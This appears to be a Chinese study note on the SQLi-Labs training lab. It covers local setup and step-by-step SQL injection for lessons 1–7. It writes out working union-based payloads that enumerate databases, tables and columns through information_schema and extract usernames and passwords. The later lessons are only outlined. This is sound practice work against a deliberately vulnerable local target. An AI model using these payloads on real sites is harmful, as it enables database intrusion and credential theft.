sqlilabs靶场学习
sqli-labs环境搭建
1.下载PHPstudy:小皮面板
2.SQLi-Labs 下载
下载地址:https://github.com/Audi-1/sqli-labs
正式操作:
①打开phpstudy
1)切换WNMP为WAMP
2)打开 Apache,MYSQL
3) 将sqli-labs解压到phpstudy_pro文件夹下的WWW文件夹中
4)再次打开phpstudy
5)点开‘网站’,管理
修改根目录:D:/phpstudy_pr/WWW/sql1(sql1是靶场的名字,我的是自己修改过的)
修改PHP版本为:5.2.17nts
打开网站
②打开浏览器输入:127.0.0.1/sql1 (这个sql1是自己的sql靶场文件名)
点击第二个:Setup/reset Database for labs
③点击less1,开始注入
记录自己遇见的安装问题:
①less1-4 中没有报错回显(就离谱!!)
解决方案:!!!
产生原因:php文件存在魔术引号:magic_quote_gpc = On
点开php5.2.17配置文件,找到魔术引号,讲On改成Off
①part1:less1–4
工具
Firefox: Hackbar
sqlilabs-less1
1)题目:GET型Error based - single quotes -strings
基于报错- 单引号注入- 字符型
2)操作流程
在URL中进行sql注入
1.?id=1 页面显示正确
2.?id=1' 页面报错
——存在单引号注入
3.?id=1' order by 3 --+ 页面正常
?id=1' order by 4 --+ 页面异常
——列数为4
4.?id=-1' union select 1,2,3 --+
——找到页面回显位置
5.信息收集
?id=-1' unionselect 1,version(),database() --+
?id=-1' unionselect 1,user(),@@bersion_compile_os --+
——获取数据库版本,名字,用户权限,操作系统名字
6.mysql版本大于5.0,存在系统库:informatioin_schema
7.获取库名
?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+
8.获取表名
?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables), 3 --+
获取指定数据库security的表
?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema ='security'), 3 --+ (得到user表)
9.获取列名
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns), 3 --+
获取指定表users的列名
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name ='users'), 3 --+ (得到users列)
10.获取users列中有用的字段username,password
?id=-1' union select 1, (select group_concat(username) from users), 3 --+
?id=-1' union select 1, (select group_concat(password) from users), 3 --+
less2
1)题目:GET型Error based - intiger based
基于报错—整型注入
2)操作流程
1.?id=1 页面正确
?id=1' 页面错误
——存在注入点
2.
?id=1 and 1=1 --+ 页面正确
?id=1 and 1=2 --+ 页面错误
——数字型注入
3.
?id=-1 order by 3 --+ 页面正确
?id=-1 order by 4 --+ 页面报错
——列数为3
4.将语句?id=-1' 变成 ?id=-1,其他操作和less1相同
less3
1)题目:GET型Error based - single quotes with twist -string
基于报错 - 单引号变形 - 字符型
看报错,单引号闭合,变成了‘)’ 括号闭合
2)操作流程
1.
?id=1 页面正确
?id=1' 页面错误,报错回显中存在' ) '
?id=1) 页面正确
继续检测:
?id=1) and 1=1 --+ 页面正确
?id=1) and 1=2 --+ 页面依旧正确 (说明出问题了,闭合不正确)
看源码: 闭合形式应该为 ') 单引号和括号一起
再次测试:
?id=1') and 1=1 --+ 页面正确
?id=1') and 1=2 --+ 页面错误
2.后续操作类似1.2
less4
1)题目:GET型Error based - double quotes -strings
基于报错- 双引号 -字符型
2)操作流程
1.根据报错回显有' ) ',题目double quotes
构造:
?id=1") and 1 = 1 --+ 页面正确
?id=1") and 1 = 2 --+ 页面错误
2.剩下操作一样
②part2: less 5–6
less5(双查询注入 或者 盲注 )
1)题目:GET - Double injection -Single Quotes - string
GET型- 双查询注入 - 单引号 - 字符型
引用:双查询注入详解
2)操作流程
页面没有回显:不能用联合查询
页面没有报错:不能报错注入
less6
1)题目:GET - Double injection -Double Quotes - string
GET型- 双查询注入 - 双引号 - 字符型
2)操作流程
换成双引号闭合,其他相同
③part3:less7–10
less7
1)题目:GET-Dump into outfile -string
GEt提交方式,字符型,文件读写
2)操作流程
注入语句:?id=1 得到 you are in ...
输入 ?id=1' 得到You have an error in your SQL syntax
页面回显:只有T or F
路径一:布尔盲注
路径二:导出文件